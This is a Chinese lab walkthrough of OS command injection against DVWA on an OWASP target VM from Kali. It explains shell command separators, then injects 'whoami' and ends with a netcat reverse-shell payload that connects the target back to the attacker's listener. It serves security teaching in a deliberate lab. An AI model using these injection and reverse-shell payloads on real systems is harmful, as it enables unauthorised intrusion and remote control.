1.开启kali和owasp靶机
登录到 DVWA 中,并进入命令执行页面(Command Execution),安全等级为Low
8.8.2 命令连接符号说明
&&:代表首先执行命令a,若成功再执行命令b,又被称为短路运算符。
&:代表首先执行命令a再执行命令b,不管a是否成功,都会执行命令b。在执行效率上来说“&&”更加高效。
||:代表首先执行a命令再执行b命令,只有a命令执行不成功,才会执行b命令。
|:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。(当命令a失败时,它仍然会执行命令b,表示A命令语句的输出,作为B命令语句的输入执行。)
8.8.3 检测和利用命令注入漏洞案例
1. 在输入框输入:
192.168.xx.xx(kali主机IP)
进行测试:
这个输出看起来像是直接从 ping 命令的输出中获得的。(这表明服务器正在使用操作系统命令来执行 ping,因此可能会注入操作系统命令。)
2.让尝试注入一个非常简单的命令。提交以下代码,
192.168.11.130&whoami
可以看到通过whoami获取到了当前用户
(使用命令连接符号注入额外的命令)
3.如果去掉 IP 地址,仅有whoami呢?结果如下图所示:
发现未得到任何结果
(测试除了IP,输入其他命令的效果)
4.尝试127.0.0.1 | whoami
127.0.0.1 | whoami
5.现在,试着获得一个反向 shell,首先,必须确保owasp靶机上拥有需要的东西,即合适的nc工具,输入:
127.0.0.1 | ls /bin/nc*
(确定靶机上有NC工具,为获取反向shell做准备)
返回一个完整路径的文件列表,有不止一个版本的 NetCat,它是用来生成连接的工具。NetCat 的 OpenBSD 版本不支持在连接上执行命令,因此将使用 traditional 。
6.下一步是监听 Kali Linux 中的连接。打开kali终端,运行以下命令:
nc -lp 1691 -v
(在kali中打开接口,等待靶机连接)
7.然后在浏览器中提交以下内容:
127.0.0.1 | nc.traditional -e/bin/bash 192.168.11.130 1691 &
(利用命令连接符号,使用nc工具连到kali)